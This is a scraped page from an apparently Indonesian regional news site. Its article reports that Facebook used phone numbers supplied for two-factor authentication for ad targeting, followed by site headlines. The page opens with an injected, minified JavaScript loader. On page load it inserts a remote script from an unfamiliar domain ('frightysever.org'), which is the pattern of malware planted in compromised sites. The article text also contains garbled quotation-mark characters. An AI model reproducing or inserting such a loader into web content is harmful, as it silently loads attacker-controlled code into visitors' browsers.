(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
A smartphone user shows the Facebook application on his phone in the central Bosnian town of Zenica, in this photo illustration, May 2, 2013. Facebook Inc's mobile advertising revenue growth gained momentum in the first three months of the year as the social network sold more ads to users on smartphones and tablets, partially offsetting higher spending which weighed on profits. REUTERS/Dado Ruvic (BOSNIA AND HERZEGOVINA - Tags: SOCIETY SCIENCE TECHNOLOGY BUSINESS) - RTXZ81J
Facebook telah memanfaatkan nomor telepon pengguna yang semestinya untuk kepentingan keamanan, menjadi target iklan. Padahal pemilik akun menyerahkan informasi yang bersifat pribadi itu sebagai syarat otentikasi dua faktor. Teknik tersebut bertujuan untuk membantu akun tetap terjaga.
Dikutip melalui situs TechCrunch, Jumat, 28 September 2018, terungkapnya ‘kelakuan’ Facebook itu bermula dari penelitian yang dilakukan akademisi di dua universitas Amerika Serikat. Mereka menjalankan studi, yang kemudian hasilnya mampu membuktikan bahwa Facebook menggunakan informasi pribadi untuk penargetan iklan pengguna.
Juru bicara perusahaan mengatakan, Facebook menggunakan informasi yang diberikan pengguna untuk menawarkan pengalaman yang lebih baik, dan lebih dipersonalisasi di Facebook, termasuk iklan. Mereka mengklaim secara jelas tentang bagaimana cara menggunakan informasi yang dikumpulkan.
“Termasuk informasi kontak yang orang unggah atau tambahkan ke akun mereka sendiri. Anda dapat mengelola dan menghapus informasi kontak yang telah Anda unggah kapan saja,†ujar juru bicara Facebook dalam pernyataannya.
Sebelumnya, beberapa waktu lalu, Facebook juga sempat menghadapi tudingan yang sama. Menurut laporan, CEO Mark Zuckerberg berpura-pura kebingungan, ketika ditanya tentang praktik penyalahgunaan data itu, oleh anggota parlemen AS awal tahun lalu. Ia mengklaim hanya mengumpulkan data untuk “tujuan keamananâ€Â.
Facebook mengandalkan kata kunci ‘keamanan’ untuk memperluas kemampuannya dalam penargetan iklan, salah satu dalihnya ialah dengan penggunaan otentikasi dua faktor. (viva)
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More
This website uses cookies.